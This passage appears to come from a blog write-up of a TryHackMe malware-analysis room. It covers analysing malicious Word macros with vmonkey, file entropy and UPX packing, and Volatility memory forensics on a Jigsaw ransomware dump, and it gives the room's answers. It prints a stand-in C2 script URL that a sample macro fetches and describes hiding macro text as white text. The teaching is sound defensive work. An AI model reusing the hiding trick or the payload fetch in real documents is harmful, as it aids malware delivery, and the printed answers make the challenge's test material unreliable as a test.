document.</li></ol><p>The downside to this? You need a large amount of text to be contained within the page, users will be suspicious and not proceed with editing the document.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/0*xb7HfneTbjc0faQp.png" /></figure><p>Although, just put on your steganography hat…Authors can just remove the borders from the text box and make the text white. The macro doesn’t need the text to be visible to the user, it just needs to exist on the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/0*tCx78dAotiXZ6UNB.png" /></figure><p>See? Not so suspicious now.</p><p>Practical</p><p>First, we will analyse a suspicious Microsoft Office Word document together. We can simply use REMnux’s vmonkey which is a parser engine that is capable of analysing visual basic macros without executing (opening the document).</p><p>By using vmonkey DefinitelyALegitInvoice.doc. vmonkey has detected potentially malicious visual basic code within a macro.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/0*TE1kxZpT-cxi68wp.png" /></figure><p>Now it’s your turn, analyse the two Microsoft Office document’s (.doc) files located within “<strong>/home/remnux/Tasks/4”</strong> to answer the questions attached to this task.</p><p>What is the name of the Macro for “DefinitelyALegitInvoice.doc”</p><pre>DefoLegit</pre><p>What is the URL the Macro in “Taxes2020.doc” would try to launch?</p><pre>http://tryhackme.com/notac2cserver.sh </pre><h3>Task 5 I Hope You Packed Your Bags</h3><p>But first: Entropy 101</p><p>There’s a reason why I’ve waited until now to discuss file entropy in the malware series.</p><p>REMnux provides a nice range of command-line tools that allow for bulk or semi-automated classification and static analysis. File entropy is very indicative of the suspiciousness of a file and is a prominent characteristic that these tools look for within a Portable Executable (PE).</p><p>At it’s very simplest, file entropy is a rating that scores how random the data within a PE file is. With a scale of 0 to 8. 0 meaning the less “randomness” of the data in the file, where a scoring towards 8 indicates this data is more “random”.</p><p>For example, files that are encrypted will have a very high entropy score. Where files that have large chunks of the same data such as “1&#39;s” will have a low entropy score.</p><p>Okay…so?</p><p>Malware authors use techniques such as encryption or packing (we’ll come onto this next) to obfuscate their code and to attempt to bypass anti-virus. Because of this, these files will have high entropy. If an analyst had 1,000 files, they could rank the files by their entropy scoring, of course, the files with the higher entropy should be analysed first.</p><p>To illustrate, this file would have a low entropy because the data has a pattern to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/0*HNG8xMhbzsY12Sw1.png" /></figure><p>Whereas however, this file would have a high entropy because there’s no pattern to the data — it’s a lot more random in comparison.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/0*pdP_vyI4yp3B_-l0.png" /></figure><p>Packing and Unpacking</p><p>I briefly discussed this in my <a href="https://tryhackme.com/room/malmalintroductory">MAL: Introductory</a> room, but that doesn’t do this topic justice.</p><p>We’ll start with a bit of theory (so bare with me here) on how packing works and why it’s used. Packer’s use an executable as a source and output’s it to another executable. This executable will have had some modifications made depending on the packer. For example, the new executable could be compressed and/or obfuscated by using mathematics.</p><p>Legitimate software developers use packing to reduce the size of their applications and to ultimately protect their work from being stolen. It is, however, a double-edged sword, malware authors reap the benefits of packing to make the reverse engineering and detection of the code hard to impossible.</p><p>Executables have what’s called an entry point. When launched, this entry point is simply the location of the first pieces of code to be executed within the file — as illustrated below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/0*wHfXKRQ5sqCtuU9J.png" /></figure><p><em>(Sikorski and Honig, 2012)</em></p><p>When an executable is packed, it must unpack itself before any code can execute. Because of this, packers change the entry point from the original location to what’s called the “Unpacking Stub”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/0*lWRPOr6SP5wB4pTW.png" /></figure><p><em>(Sikorski and Honig, 2012)</em></p><p>The “Unpacking Stub” will begin to unpack the executable into its original state. Once the program is fully unpacked, the entry point will now relocate back to its normal place to begin executing code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/0*zwnj9DMdwhSxyehN.png" /></figure><p><em>(Sikorski and Honig, 2012)</em></p><p>It is only at this point can an analyst begin to understand what the executable is doing as it is now in it’s true, original form.</p><p>Determining if an Executable is Packed</p><p>Don’t worry, learning how to manually unpack an executable is out-of-scope for this pathway. We have a few tools at our arsenal that should do a sufficient job for most of the samples we come across in the wild.</p><p>Packed files have a few characteristics that may indicate whether or not they are packed:</p><ul><li>Remember about file entropy? Packed files will have a high entropy!</li><li>There are very few “Imports”, packed files may only have “GetProcAddress” and “LoadLibrary”.</li><li>The executable may have sections named after certain packers such as UPX.</li></ul><p>Demonstration</p><p>I have two copies of my application, one not packed and another has been packed.</p><p>Below we can see that this copy has 34 imports, so a noticeable amount and the imports are quite revealing in what we can expect the application to do:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/0*UufCDctvz0Aq4MNr.png" /></figure><p>Whereas the other copy only presents us with 6 imports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/198/0*IgVQLu0KTUXq5kyo.png" /></figure><p>We can verify that this was packed using UPX via tools such as <a href="https://www.aldeid.com/wiki/PEiD">PEID</a>, or by manually comparing the executables sections and filesize differences.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/0*3reCUFuqe1YZ8aa7.png" /></figure><p>Look at that entropy! <strong>7.526</strong> out of <strong>8</strong>! Also, note the name of the sections. UPX0 and the entry point being at UPX1...that&#39;s our packer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/0*v7pkrxQvXfxKCe_g.png" /></figure><p>What is the highest file entropy a file can have?</p><pre>8</pre><p>What is the lowest file entropy a file can have?</p><pre>0</pre><p>Name a common packer that can be used for applications?</p><pre>UPX</pre><h3>Task 6 How’s Your Memory?</h3><p><em>If you’ve had enough of hearing about entropy and packing — I don’t blame you, me too.</em></p><p>Memory Forensics</p><p>This section is a supplement to <a href="https://tryhackme.com/p/DarkStar7471">DarkStar</a>’s<a href="https://tryhackme.com/room/bpvolatility"> room on the fundamentals of using Volatility</a> which I highly recommend checking out. This task was more of an in-impromptu “<em>when in Rome</em>” sort of idea. I thought it’d be fun to be able to learn about then transfer knowledge to a real-world scenario.</p><p>You are going to be analysing the memory dump I’ve taken of a Windows 7 PC that has been infected with the Jigsaw Ransomware. This memory dump can be found in “<strong>/home/remnux/Tasks/6/Win7-Jigsaw.raw”.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hMjV2IjbyM3XTEUx.png" /></figure><p>A Volatility Crash Course</p><p>Understanding our Memory Dump</p><p>It goes without saying that every operating system will store data in different places, and this is no different when data is stored within memory. Volatility is unable to assume what the operating system that we have created a memory dump is, and in turn, where to look for things and what commands can be executed. For example, hivelist is used for Windows registry and will not work on a Linux memory dump.</p><p>Whilst Volatility can’t assume, it can guess. Here’s where profiles come into play. In other scenarios, we would use the imageinfo plugin to help determine what profile is most suitable with the syntax of volatility -f Win7-Jigsaw.raw imageinfo. However,<strong> this could take hours to complete on a large memory dump</strong> on an Instance like that attached to the room. <strong>So instead, I have provided it for you.</strong></p><p><em>Please note that volatility will take a few minutes for commands to complete.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/0*AzjlvfrrerUqg-er.png" /></figure><p>Profile `<strong>Win7SP1x64</strong>` is the first suggested and just happens to be the correct OS version.</p><p>Beginning our Investigation</p><p>Viewing What Processes Were Running at Infection</p><p><em>“A process, in the simplest terms, is an executing program.</em>” (<a href="https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads">Processes and Threads — Win32 apps, 2018</a>)</p><p>Processes range from every-day applications such as your browser to system services and other inner-workings.</p><p>Specifically, we need to identify the malicious processes to get an understanding of how the malware works and to also build a picture of Indicators of Compromise (IoC). We can list the processes that were running via pslist:</p><p>volatility -f Win7-Jigsaw.raw --profile=Win7SP1x64 pslist</p><p>Note how you can see Google Chrome within the process because the application was running at the time of the memory dump.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*u7rUXL0S2PSHrQVV.png" /></figure><p>Needles in Haystacks</p><p>Luckily we’ve got quite a shortlist of processes here, so we can start to narrow down between the system processes and any applications.</p><p>It can be daunting at first in trying to decide on what’s worthy of investigating. As your seat time in malware analysis increases, you’ll be able to pick out abnormalities. In this case, it’s process “<strong>drpbx.exe</strong>” with a PID of <strong>3704</strong>.</p><p>What Can We Do With This?</p><p>Now that we’ve identified the abnormal process, we can begin to dump this specifically and begin analysing. As the application will be unpacked and/or in it’s most revealing state, it is perfect for analysis.</p><p>Peeking Behind the Curtain</p><p>Even without analysing, we can start to understand what sort of interaction the process is capable of with the operating system. DLL’s are structured very similarly to executables, however, they cannot be directly executed. Moreover, multiple applications can interact with a DLL all at the same time. We can list the DLL’s that “<strong>drpbx.exe</strong>” references with dlllist:</p><p>All the DLL’S</p><p>Again, it’s easy to become overwhelmed at trying to figure out what’s of significance. It only comes with time, experience and research into what Windows DLL’s do what.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uOT-JDTEjIaq5I5f.png" /></figure><p>What stands out initially is the “<strong>CRYPTBASE.dll”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/0*MOkELwXmNDlDvpXa.png" /></figure><p>This DLL is a Windows library that allows applications to use cryptography. Whilst many use it legitimately, i.e. HTTPS, let’s assume that we didn’t know that the host was infected with ransomware specifically, we’d need to start investigating the process further. However, that is not for here. We’ve found enough evidence to suspect ransomware through memory forensics &amp; research.</p><h3>Task 7 Finishing Up</h3><p>I encourage you to go back through the tasks and use alternate tools to that which I used, all located within the attached REMnux box. Malicious macros within Microsoft Office documents are very successful and dangerous vehicles for malware authors to weaponise. Whilst macros have legitimate purposes in MS Office documents, rampant APT campaigns such as Emotet, Ryuk and Qakbot exploit these as droppers.</p><p>For a bonus challenge, spend some more time in getting familiar with Volatility. Are there any more additional indicators of compromise within the Windows 7 memory dump that we briefly analyzed?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70263bf677bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>